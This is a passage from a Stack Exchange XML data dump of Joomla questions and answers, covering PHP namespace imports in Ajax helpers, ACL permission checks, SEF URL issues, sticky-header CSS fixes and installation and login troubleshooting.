'/../..'));&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to include extra files (I haven't tried it since it seems a mad way to go)&lt;/p&gt;&#xA;&lt;p&gt;Is there a way around this.&lt;/p&gt;&#xA;&lt;p&gt;Whilst I have working code I'm thinking about future proofing my code.&lt;/p&gt;&#xA;&lt;p&gt;Update&lt;/p&gt;&#xA;&lt;p&gt;I'm adding some cleaner code to show what doesn't work:&lt;/p&gt;&#xA;&lt;p&gt;This doesn't work because it doesn't have the namespace context&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class modLoginHelper&#xA;&#xA;{&#xA;&#xA;public static function getAjax()&#xA;    {&#xA;        use Joomla\CMS\Factory as YourNewAlias;&#xA;        user = Factory::getUser();&#xA;    }&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This won't throw an error but doesn't work&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class modLoginHelper&#xA;&#xA;{&#xA;    use Joomla\CMS\Factory as YourNewAlias;&#xA;    &#xA;public static function getAjax()&#xA;    {&#xA;        &#xA;        user = Factory::getUser();&#xA;    }&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So whichever way I try to follow the use Joomla ... it won't work - I have to revert to the old way of doing things.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-09-15T12:53:57.830" LastActivityDate="2020-09-15T13:37:51.967" Title="How to get user object in Ajax call" Tags="|joomla-3.x|user|ajax|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28467" PostTypeId="2" ParentId="28466" CreationDate="2020-09-15T13:37:51.967" Score="4" Body="&lt;p&gt;When importing classes using &lt;code&gt;use&lt;/code&gt; statement, it has to be outside of your class. When put inside a class, it's interpreted as a use of trait. And when used inside a method it will cause a syntax error. In your case it should be used like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;class ModLoginHelper&#xA;{ &#xA;    public static function getAjax()&#xA;    {&#xA;        $user = Factory::getUser();&#xA;        // Your code here...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From PHP documentation:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The use keyword must be declared in the outermost scope of a file (the global scope) or inside namespace declarations. This is because the importing is done at compile time and not runtime, so it cannot be block scoped.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/language.namespaces.importing.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/language.namespaces.importing.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can use fully qualified class names in your code like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ModLoginHelper&#xA;{ &#xA;    public static function getAjax()&#xA;    {&#xA;        $user = Joomla\CMS\Factory::getUser();&#xA;        // Your code here...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-15T13:37:51.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28468" PostTypeId="1" AcceptedAnswerId="28471" CreationDate="2020-09-15T13:45:15.223" Score="0" ViewCount="55" Body="&lt;p&gt;I'm currently programming a module that contains several Ajax calls, some of them with Add / update &amp;amp; Delete requests in the DB. Now I am thinking about the fact that it will be necessary to check the ACL state in the functions called via Ajax in addition to the frontend check (not visible if not in the right group). Unfortunately I can't find an example how to realize this. It is supposed to be that the admin should be able to give user groups the possibility to make changes via Frontend GUI or to prevent them via the modules permissions.&lt;/p&gt;&#xA;&lt;p&gt;But I can imagine that a simple &amp;quot;hide&amp;quot; of the options in the frontend is not enough if the function is slumbering in the background and can be called without any check by AJAX...&lt;/p&gt;&#xA;&lt;p&gt;I've already passed the module title into the AJAX call and now I failed because the permissions don't seem to be available via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModuleHelper::getModule('mod_modulename', $moduleTitle);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to the $module...&#xA;the $user object is available via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and waits to be compared with the information according to the ACL settings of the module instance...&lt;/p&gt;&#xA;&lt;p&gt;So, how do I get to the permission settings of the module instance to check if the user who made the ajax call is allowed to do so?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2020-09-15T16:53:45.197" Title="Own Module - Integrate ACL Check (in Ajax Call)" Tags="|module|ajax|acl|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28469" PostTypeId="2" ParentId="28435" CreationDate="2020-09-15T14:08:20.527" Score="1" Body="&lt;p&gt;In fact, Setting 2 would only make sense to me if you..&lt;/p&gt;&#xA;&lt;p&gt;...Have no inheritance of permissions to the top&lt;/p&gt;&#xA;&lt;p&gt;...Only one usergroup has access to a specific task&lt;/p&gt;&#xA;&lt;p&gt;Then it makes sense, if the superuser should simply have all tasks / views  / options of the custom 1/2 groups this can be solved by inheritance in a cleaner way.&lt;/p&gt;&#xA;&lt;p&gt;Edit: indeed superuser has no inherited permissions my idea was to create a custom „superuser“ aka build a structure with groups and privileges inherited as you need it.&lt;/p&gt;&#xA;&lt;p&gt;I think you already know this page but for other readers, here the ACL structure is explained:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-09-17T10:43:39.550" LastActivityDate="2020-09-17T10:43:39.550" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28470" PostTypeId="2" ParentId="28426" CreationDate="2020-09-15T14:15:09.967" Score="1" Body="&lt;p&gt;As you might already figured out, yes its the same and yes thats the way it works...&lt;/p&gt;&#xA;&lt;p&gt;As described in the manual:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Http\HttpFactory;&#xA;&#xA;// Create an instance of a default Http object.&#xA;$http = Http\HttpFactory::getHttp();&#xA;&#xA;&#xA;// Prepare the update data.&#xA;$data = array('make' =&amp;gt; 'Holden', model =&amp;gt; 'EJ-Special');&#xA;&#xA;// Invoke the GET request.&#xA;&#xA;$response = $http-&amp;gt;post('http://api.example.com/cars/1', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;HavFun!&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2020-09-15T14:15:09.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28471" PostTypeId="2" ParentId="28468" CreationDate="2020-09-15T16:53:45.197" Score="2" Body="&lt;p&gt;Yes you do need to check the permissions in your Ajax-handling code.&lt;/p&gt;&#xA;&lt;p&gt;The way you would do this would be to follow the pattern in the Joomla MVC FormController, where it uses the Joomla User &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html#method_authorise&quot; rel=&quot;nofollow noreferrer&quot;&gt;authorise&lt;/a&gt; method, eg, to check if a user can create an article:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = Factory::getUser();&#xA;$user-&amp;gt;authorise('core.create', 'com_content');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;authorise()&lt;/code&gt; returns true or false, depending upon whether the user may perform the operation or not.&lt;/p&gt;&#xA;&lt;p&gt;Your first parameter to &lt;code&gt;authorise()&lt;/code&gt; is the type of action you want to check eg 'core.create' for creating, 'core.delete' for deleting, etc.&lt;/p&gt;&#xA;&lt;p&gt;The second parameter is the asset you want to check against, and Joomla will check up the asset hierarchy from the lowest level. So for example delete permission may be set at an individual article level so you should check&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;authorise('core.delete', 'com_content.article.' . $id);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$id&lt;/code&gt; is the id of the article.&lt;/p&gt;&#xA;&lt;p&gt;You mention about checking against the module permissions, and you can of course do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;authorise('core.delete', 'com_modules.module.' . $id);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$id&lt;/code&gt; is the id of your module. But that would be checking that the user has permission to delete your module, and I'm not sure that's what you really want to check. If you're talking about operations in the database then you want to check the permissions by passing the Joomla component which 'owns' that database table.&lt;/p&gt;&#xA;&lt;p&gt;You also may want to check that the user is allowed to 'read' your module, by comparing the Access of the module with the list of access levels that the user may see, which is returned by &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.User.User.html#method_getAuthorisedViewLevels&quot; rel=&quot;nofollow noreferrer&quot;&gt;getAuthorisedViewLevels()&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There's good ACL tutorial information available at &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt; and in &lt;a href=&quot;https://www.youtube.com/watch?v=CFqXAc3orkY&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; (between 2 mins and 32 mins is the section to watch).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-15T16:53:45.197" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28472" PostTypeId="1" CreationDate="2020-09-15T19:01:26.757" Score="0" ViewCount="213" Body="&lt;p&gt;I am using Joomla 4 and working on a custom module and getting this error in my Joomla admin site. My problem is I am unable to get the error details instead I only get this &lt;code&gt;Error: The 'atum' service key is already registered.: Using $this when not in object context&lt;/code&gt;.&#xA;i am not getting which file which line number etc.&lt;/p&gt;&#xA;&lt;p&gt;Under Global configuration I have set debug system to &lt;code&gt;yes&lt;/code&gt; and Error reporting to &lt;code&gt;maximum&lt;/code&gt;. I tried with different error reporting options but the result was same.&#xA;Even in my php.ini file error display is On. Am I missing something?&lt;/p&gt;&#xA;&lt;p&gt;Admin template is the default one. Joomla 4 Alpha version the current version.&lt;/p&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-09-18T04:21:10.843" Title="Joomla 4 not showing error in admin Panel" Tags="|joomla-4.x|error-reporting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28473" PostTypeId="1" CreationDate="2020-09-15T19:45:23.503" Score="1" ViewCount="122" Body="&lt;p&gt;I have separate templates for desktop/tablet and phone.&lt;/p&gt;&#xA;&lt;p&gt;I don't feel that viewport meta is needed in my mobile template, but without it Google is saying:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: The page is not mobile friendly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, when I add the standard tag, it actually screws up my template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to add the viewport to make Google (and Bing) happy and NOT mess with my layout?&lt;/p&gt;&#xA;&lt;p&gt;The site in question is: &lt;a href=&quot;https://www.hawkeye.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hawkeye.ca&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(&lt;a href=&quot;https://stackoverflow.com/q/63853457/2943403&quot;&gt;cross-posted on Stack Overflow&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="14528" LastEditorUserId="12352" LastEditDate="2020-09-16T00:22:06.160" LastActivityDate="2020-09-16T00:22:06.160" Title="Adding viewport metatag breaks my template layout" Tags="|templates|layout|google|mobile-detection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28474" PostTypeId="1" CreationDate="2020-09-16T12:00:42.467" Score="1" ViewCount="98" Body="&lt;p&gt;I have Joomla 3.9.21 which has SEF URL's enabled.&lt;/p&gt;&#xA;&lt;p&gt;All works perfectly, except for the search results page.&lt;/p&gt;&#xA;&lt;p&gt;For example, this is the SEO link to an article (which is assigned a menu option whose root option is called &amp;quot;proyectos&amp;quot;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/proyectos/thearticle.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far, so good. However, when I do a search where that article is on the results, the link of the article is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/component/content/article/thearticle.html?catid=13&amp;amp;Itemid=101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I get rid of the &lt;code&gt;component/content/article&lt;/code&gt; part and replace it by the menu option the article is assigned to? In this case, root menu option is called &amp;quot;proyectos&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;If I disable SEF, I realized that this URL is for the menu option that is assigned to the article:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=15&amp;amp;Itemid=160&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And when searching, this is the actual URL for that article on the results page:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=15:thearticle&amp;amp;catid=13&amp;amp;Itemid=101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Maybe the &lt;code&gt;Itemid=101&lt;/code&gt; part is interfering. &lt;code&gt;Itemid&lt;/code&gt; 101 is the home menu item. This ID is strange. For some reason, com_search module is not finding the Itemid associated to the article, 160 in this case.&lt;/p&gt;&#xA;" OwnerUserId="8866" LastEditorUserId="12352" LastEditDate="2020-09-16T22:25:41.963" LastActivityDate="2020-10-16T23:02:35.333" Title="URL's in search results page are wrong and not the URL of the article assigned menu item" Tags="|sef|seo|search|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28476" PostTypeId="2" ParentId="28474" CreationDate="2020-09-16T14:17:11.420" Score="1" Body="&lt;p&gt;I found out that the problem is about the language. I have menu and articles with Spanish language. Only Home menu item is for All languages.&lt;/p&gt;&#xA;&lt;p&gt;I changed the article menu item for All languages, and it worked. The right Itemid is being retrieved now.&lt;/p&gt;&#xA;&lt;p&gt;Is this a bug or is there some workaround when working with site languages?&lt;/p&gt;&#xA;" OwnerUserId="8866" LastEditorUserId="12352" LastEditDate="2020-09-16T22:26:20.687" LastActivityDate="2020-09-16T22:26:20.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28479" PostTypeId="1" CreationDate="2020-09-17T13:48:37.323" Score="0" ViewCount="43" Body="&lt;p&gt;As a super user you can do that. I want to grant this privilege to another group of users, but I can't find where to set this. In global configuration there is a &lt;code&gt;check-in&lt;/code&gt; but it doesn't work for me. As you can see in below picture I change &amp;quot;Access administration Interface&amp;quot; to &amp;quot;Allowed&amp;quot; but when manager users try to check-in other's article, they are still getting the &amp;quot;check-in user don't match the check-out user&amp;quot; error.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AcWbd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AcWbd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-09-17T13:48:37.323" Title="What permission do you need to check-in other's article at any time?" Tags="|acl|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28480" PostTypeId="2" ParentId="26618" CreationDate="2020-09-17T19:03:01.977" Score="1" Body="&lt;p&gt;In my case, I couldn't save, edit or create a new article.&lt;/p&gt;&#xA;&lt;p&gt;The table schema for &lt;strong&gt;#__ucm_history&lt;/strong&gt; (for some unknown reason) was not set to auto-increment the &lt;code&gt;version_id&lt;/code&gt;.  The &lt;code&gt;version_id&lt;/code&gt; column values started at 0 and remained 0 with every newly attempted insert.&lt;/p&gt;&#xA;&lt;p&gt;If this is/was your situation, you could:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Back up your site&lt;/li&gt;&#xA;&lt;li&gt;Login into your hosting account&lt;/li&gt;&#xA;&lt;li&gt;Navigate to Databases&lt;/li&gt;&#xA;&lt;li&gt;Select your Joomla Database&lt;/li&gt;&#xA;&lt;li&gt;Look for that table  &lt;strong&gt;#_ucm_history&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;strong&gt;version_id&lt;/strong&gt; of the first entry to the highest id in the table&lt;/li&gt;&#xA;&lt;li&gt;Under table &lt;strong&gt;structure&lt;/strong&gt; click on &lt;strong&gt;change&lt;/strong&gt; for this field &lt;strong&gt;version_id&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check the auto-increment option&lt;/li&gt;&#xA;&lt;li&gt;Reload your site and try the failed action again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13892" LastEditorUserId="12352" LastEditDate="2020-09-17T22:46:43.647" LastActivityDate="2020-09-17T22:46:43.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28481" PostTypeId="1" CreationDate="2020-09-17T20:07:00.527" Score="0" ViewCount="1069" Body="&lt;p&gt;when using &lt;code&gt;addScriptDeclaration&lt;/code&gt;, the script is added in the first  tag that is found inside the HEAD tag.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to add it just before &lt;code&gt;&amp;lt;/HEAD&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8866" LastEditorUserId="12352" LastEditDate="2020-09-17T22:27:30.920" LastActivityDate="2022-02-18T10:28:54.640" Title="Is it possible to add script to the end of the HEAD tag?" Tags="|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28482" PostTypeId="2" ParentId="28481" CreationDate="2020-09-17T21:34:08.010" Score="0" Body="&lt;p&gt;Yes you can put  in the head, but its most common to put it before the  tag&lt;/p&gt;&#xA;" OwnerUserId="14268" LastActivityDate="2020-09-17T21:34:08.010" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28484" PostTypeId="2" ParentId="28454" CreationDate="2020-09-18T01:19:02.897" Score="1" Body="&lt;p&gt;Head to &lt;strong&gt;xampp\htdocs\Your joomla files\installation\sql\mysql&lt;/strong&gt; and in this folder, find the &lt;strong&gt;Joomla.sql&lt;/strong&gt; file in the folder, use your editor to open it and do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;search for&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;ENGINE=InnoDB&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Replace all occurrences with&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;ENGINE=MyIsam&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Try the installation again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If the above would not solve the problem, navigate to &lt;strong&gt;xampp\php \ php.ini&lt;/strong&gt; , open the file with your text editor, search and update the following value &lt;strong&gt;max_execution_time = 30&lt;/strong&gt; to &lt;strong&gt;max_execution_time = 280&lt;/strong&gt; or any value higher. Restart your Apache and try installation again.&lt;/p&gt;&#xA;&lt;p&gt;See more details &lt;a href=&quot;https://stackoverflow.com/questions/21510660/joomla-3-installation-freezes-at-creating-database-table&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="13892" LastActivityDate="2020-09-18T01:19:02.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28486" PostTypeId="1" AcceptedAnswerId="28487" CreationDate="2020-09-18T19:49:43.223" Score="0" ViewCount="726" Body="&lt;p&gt;My site has a top bar and a nav bar with the site menu. Strangely enough, after a few pixels of scrolling down, the content part of the site jumps up. I think this wasn't doing this initially, but I must have changed something in the template settings to start this behaviour. The jumping happens on desktop and mobile alike. What could be the reason for it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT: the link to the site was removed, because it became irrelevant for this question after the website experienced an overhaul. As the portion of the website pertinent to this question could not clearly be identified, none of it can be posted here in a sensible fashion. This question is essentially a dead end, but I can't remove it myself. If you can extract value out of the answer kindly provided, you're welcome to do so. Otherwise, I'm sorry about this dead-end-situation. Good luck with your jumpy header navigation or top bar stuff.]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do I need to change/add something in the CSS? I found stuff about content jumping, but it's all about third party content being loaded later, AJAX modules, and so on. My issue here is different, as the site is all loaded, but as soon as I scroll down a few pixels, the content jumps up quite an amount.&lt;/p&gt;&#xA;" OwnerUserId="14452" LastEditorUserId="14452" LastEditDate="2020-09-21T09:58:49.680" LastActivityDate="2020-09-21T09:58:49.680" Title="jump after header top bar" Tags="|css|header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28487" PostTypeId="2" ParentId="28486" CreationDate="2020-09-18T21:30:06.223" Score="2" Body="&lt;p&gt;If you put on the browser devtools on your site, then in the Inspector you can see that as you scroll down there is a CSS class &lt;code&gt;header-sticky&lt;/code&gt; which is added to your &lt;code&gt;&amp;lt;header id=&amp;quot;sp-header&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&lt;p&gt;This has the effect of changing the header from being &lt;code&gt;position:relative&lt;/code&gt; to being &lt;code&gt;position:fixed&lt;/code&gt;. The effect of making it &lt;code&gt;position:fixed&lt;/code&gt; is that the element is removed out of the flow of the page. So before (when it was &lt;code&gt;position:relative&lt;/code&gt;) it was occupying space on the page, but afterwards it occupies no space, and the content which was below it now jumps up to occupy the space which is now vacant.&lt;/p&gt;&#xA;&lt;p&gt;As regards fixing the problem, that's something within your template. However, I did have a look at a js file &lt;code&gt;main.js&lt;/code&gt; within your template folder structure, and within a function &lt;code&gt;$(window).on('scroll', function(){&lt;/code&gt; from line 199 onwards there is some code commented out:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        if( postition === 'top' ){&#xA;            // var sticky = $('.header-sticky');&#xA;            // if( sticky.length &amp;gt; 0 ){&#xA;            //     sticky.css({ top: scrollBar.height() })&#xA;            // }else{&#xA;            //     sticky.css({ top: 0 })&#xA;            // }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It might have been commented out by accident, so you could try uncommenting those lines and see if that works.&lt;/p&gt;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&lt;p&gt;You should be able to fix things by editing the &lt;code&gt;main.js&lt;/code&gt; file in something like the following way. Around line 19 there is code which sets/removes the &lt;code&gt;header-sticky&lt;/code&gt; class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (scrollTop &amp;gt; stickyHeaderTop) {&#xA;    header.addClass('header-sticky');&#xA;} else {&#xA;    if (header.hasClass('header-sticky')) {&#xA;        header.removeClass('header-sticky');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can edit this and set/remove a class at the same time on a subsequent html element eg &lt;code&gt;&amp;lt;section id=&amp;quot;sp-section-1&amp;quot;&amp;gt;&lt;/code&gt; which adds the margin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (scrollTop &amp;gt; stickyHeaderTop) {&#xA;    header.addClass('header-sticky');&#xA;    $('#sp-section-1').addClass('add-margin');&#xA;} else {&#xA;    if (header.hasClass('header-sticky')) {&#xA;        header.removeClass('header-sticky');&#xA;        $('#sp-section-1').removeClass('add-margin');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then in your CSS file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#sp-section-1.add-margin {&#xA;  margin-top: 60px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Obviously this is hard-coding values, but it should hopefully be enough to get you down the line of finding the best solution.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-09-20T10:18:29.287" LastActivityDate="2020-09-20T10:18:29.287" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28488" PostTypeId="1" CreationDate="2020-09-19T10:50:38.033" Score="0" ViewCount="96" Body="&lt;p&gt;I am using a CCK (Seblod) that extends com_content and allows adding complex fields, like PHP code to be run on onBeforeRender event.&#xA;I need to change the values of some &lt;code&gt;attribs&lt;/code&gt; of an article in the article view, specifically set &lt;code&gt;show_title&lt;/code&gt; to 0 to hide native Joomla title and replace it with a custom field, and I am trying to to that through this php field attached to &lt;em&gt;before render&lt;/em&gt; event.&lt;/p&gt;&#xA;&lt;p&gt;I have checked that in this before render context, I cannot access the &lt;code&gt;$this&lt;/code&gt; object (it gives me the classical error &amp;quot;Using $this when not in object context&amp;quot;), but I can access current article via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article = JTable::getInstance(&amp;quot;content&amp;quot;);&#xA;$article-&amp;gt;load($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where the &lt;code&gt;$id&lt;/code&gt; is taken from JInput. I have also seen that I can read the &lt;code&gt;show_title&lt;/code&gt; value in the JSON value retrieved with &lt;code&gt;$article-&amp;gt;attribs&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But, as a beginner Joomla developer, I cannot find a way to change that value. Just to be clear: I don't want to change it in the DB (for which I have read I should use JTable-&amp;gt;store), I need to change it in the before render so that native Joomla title is not displayed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$article-&amp;gt;attribs-&amp;gt;set...&lt;/code&gt; of course does not work since &lt;code&gt;$article-&amp;gt;attribs&lt;/code&gt; is just a string... but also maybe JTable is not the correct way to do that because it maps to the db...&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to do that in this context (no access to $this)?&lt;/p&gt;&#xA;" OwnerUserId="14539" LastEditorUserId="14539" LastEditDate="2020-09-22T10:13:36.557" LastActivityDate="2020-09-22T10:13:36.557" Title="Set article attribs on-the-fly via JTable" Tags="|php|plugin|articles|jtable|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28489" PostTypeId="1" AcceptedAnswerId="28490" CreationDate="2020-09-19T11:18:51.613" Score="1" ViewCount="102" Body="&lt;p&gt;Admin does not log in, and it does not error.  It just seems to refresh.&lt;/p&gt;&#xA;&lt;p&gt;I have tried everything in this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/22549/cant-log-in-with-admin-no-error-messages&quot;&gt;Can&amp;#39;t log in with admin, no error messages&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tried overwriting all of the core files via FTP&lt;/li&gt;&#xA;&lt;li&gt;plg_user_joomla is enabled&lt;/li&gt;&#xA;&lt;li&gt;I have changed my PHP version from 7.3 to 7.2 and 7.1&lt;/li&gt;&#xA;&lt;li&gt;Nothing is set for the cookie domain in configuration.php error reporting is set to maximum&lt;/li&gt;&#xA;&lt;li&gt;I have changed the password to check that is correct but it is not saying incorrect password&lt;/li&gt;&#xA;&lt;li&gt;If I put an incorrect password, it does not tell me that error message&lt;/li&gt;&#xA;&lt;li&gt;I have disabled Admin Tools&lt;/li&gt;&#xA;&lt;li&gt;I have checked plg_authentication_joomla and it is enabled&lt;/li&gt;&#xA;&lt;li&gt;I have renamed .htaccess&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Worst of all it was all working last night when I left the office!!!&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-10-24T22:43:27.007" Title="Admin does not log in or error" Tags="|administrator|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
